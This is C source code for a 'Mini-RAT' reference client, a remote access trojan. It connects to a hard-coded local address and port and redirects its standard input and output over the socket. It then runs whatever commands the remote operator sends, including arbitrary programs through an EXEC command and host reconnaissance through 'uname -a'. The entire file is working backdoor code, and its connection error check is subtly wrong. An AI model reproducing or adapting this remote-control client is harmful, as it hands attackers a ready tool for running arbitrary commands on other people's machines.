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/*
* Mini-RAT reference client
* Copyright (C) 2023 Danny Holman <dholman@gymli.org>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <util.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
int open_connection(const char *addr, int port) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(port);
inet_pton(AF_INET, addr, &server.sin_addr);
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1)
return -1;
return sock;
}
void run_exec(char **argv) {
const char** cargv = (const char**)argv;
pid_t pid = fork();
if (pid == 0) {
if (execvp(cargv[0], cargv) == -1) {
printf("ERROR IN EXEC\r\n");
fflush(stdout);
}
exit(0);
} else if (pid > 0) {
wait(NULL);
printf("RETURN\r\n");
fflush(stdout);
} else {
printf("ERROR IN FORK\r\n");
fflush(stdout);
}
}
void hostinfo(void) {
char **argv = malloc(sizeof(char*) * 3);
argv[0] = "uname";
argv[1] = "-a";
argv[2] = NULL;
run_exec(argv);
free(argv);
}
int handle_request(char *req) {
char **argv = NULL;
size_t count = str_split(&argv, req, " ");
if (strcmp(argv[0], "HOSTINFO") == 0) {
hostinfo();
} else if (strcmp(argv[0], "EXEC") == 0) {
run_exec(&argv[1]);
} else if (strcmp(argv[0], "EXIT") == 0) {
return 1;
} else if (strcmp(argv[0], "PING") == 0) {
printf("PONG\r\n");
fflush(stdout);
} else {
printf("NOT A COMMAND\r\n");
fflush(stdout);
}
free(argv);
return 0;
}
int main(int argc, char* argv[]) {
int socket = 0;
int retries = 0;
while (retries < 3 && socket == 0) {
socket = open_connection("127.0.0.1", 1122);
if (socket == 0)
perror(argv[0]);
retries++;
}
if (socket == 0)
return -1;
dup2(socket, STDOUT_FILENO);
dup2(socket, STDERR_FILENO);
dup2(socket, STDIN_FILENO);
char buffer[4096];
while (1) {
if (recv(socket, buffer, 4096, 0) <= 0)
break;
if (handle_request(buffer) == 1)
break;
memset(buffer, 0, 4096);
}
return 0;
}
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